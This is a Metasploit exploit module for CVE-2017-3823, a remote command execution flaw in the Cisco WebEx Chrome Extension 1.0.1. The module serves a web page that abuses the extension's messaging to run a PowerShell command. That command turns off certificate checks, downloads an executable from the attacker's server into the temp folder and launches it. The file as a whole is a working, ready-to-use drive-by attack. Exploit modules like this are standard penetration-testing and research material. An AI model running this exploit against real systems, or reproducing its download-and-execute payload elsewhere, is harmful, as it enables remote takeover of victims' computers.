##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Cisco WebEx Chrome Extension RCE (CVE-2017-3823)",
      'Description'    => %q{
        This module exploits a vulnerability present in the Cisco WebEx Chrome Extension
        version 1.0.1 which allows an attacker to execute arbitrary commands on a system.
        },
        'License'        => MSF_LICENSE,
        'Author'         =>
        [
          'Tavis Ormandy <taviso@google.com>',                # Original research/PoC
          'William Webb <william_webb[at]rapid7.com>'         # Metasploit module
        ],
        'Platform'       => 'win',
        'DefaultOptions' =>
        {
          'SSL' => true,
        },
        'Targets'        =>
        [
          [ 'Cisco WebEx Extension 1.0.1',
            {
              'Platform' => 'win',
              'Arch'     => ARCH_X86,
            }
          ],
        ],
        'References'     =>
        [
          [ 'CVE', '2017-3823' ],
        ],
        'Arch'           => ARCH_X86,
        'DisclosureDate' => "Jan 21 2017",
        'DefaultTarget'  => 0
        ))
end

def setup
  @payload_uri = "#{Rex::Text.rand_text_alphanumeric(8)}"
  @payload_exe = "#{Rex::Text.rand_text_alpha(8)}.exe"
  super
end

def exploit_html(cli, req_uri)
  base_uri = "#{get_resource.chomp('/')}"
  html = %Q~
<html>
<head>
<script>
var msg = {
    GpcProductRoot: "WebEx",
    GpcMovingInSubdir: "Wanta",
    GpcProductVersion: "T30_MC",
    GpcUnpackName: "atgpcdec",
    GpcExtName: "atgpcext",
    GpcUnpackVersion: "27, 17, 2016, 501",
    GpcExtVersion: "3015, 0, 2016, 1117",
    GpcUrlRoot: "http://127.0.0.1/",
    GpcComponentName: btoa("MSVCR100.DLL"),
    GpcSuppressInstallation: btoa("True"),
    GpcFullPage: "True",
    GpcInitCall: btoa("_wsystem(Ex1);"),
    Ex1: btoa("PowerShell [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ; $wc = New-Object System.Net.WebClient ; $pl = $env:temp+'\\#{@payload_exe}' ; $wc.DownloadFile('https://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{base_uri}/#{@payload_uri}', $pl) ; Start-Process $pl"),
}

function runcode()
{
    document.dispatchEvent(new CustomEvent("connect", { detail: { token: "token" }}));
    document.dispatchEvent(new CustomEvent("message", { detail: {
            message: JSON.stringify(msg),
            message_type: "launch_meeting",
            timestamp: (new Date()).toUTCString(),
            token: "token"
        }
    }));
}
</script>
</head>
<body onload="runcode()">

</body>
</html>
  ~

  send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
end

def on_request_uri(cli, request)
  print_status("Got request: #{request.uri}")
  print_status("From: #{request.headers['User-Agent']}")

  if request.uri =~ /cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b\.html/
    print_status("Sending exploit html ...")
    exploit_html(cli, request.uri)
    close_client(cli)
    return
  elsif request.uri =~ /.*#{@payload_uri}$/
    return if ((payload = regenerate_payload(cli)) == nil)
    print_status("Sending payload ...")
    send_response(cli, generate_payload_exe({ :code => payload.encoded }), { 'Content-Type' => 'application/octet-stream', 'Connection' => 'close' })
  else
    base_uri = "#{get_resource.chomp('/')}"
    html = %Q~
    <html>
    <head>
    <meta http-equiv="refresh" content="0; URL='#{get_resource}/cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html' />"
    </head>
    <body>
    </body>
    </html>
    ~
    send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
    close_client(cli)
  end
  end
end
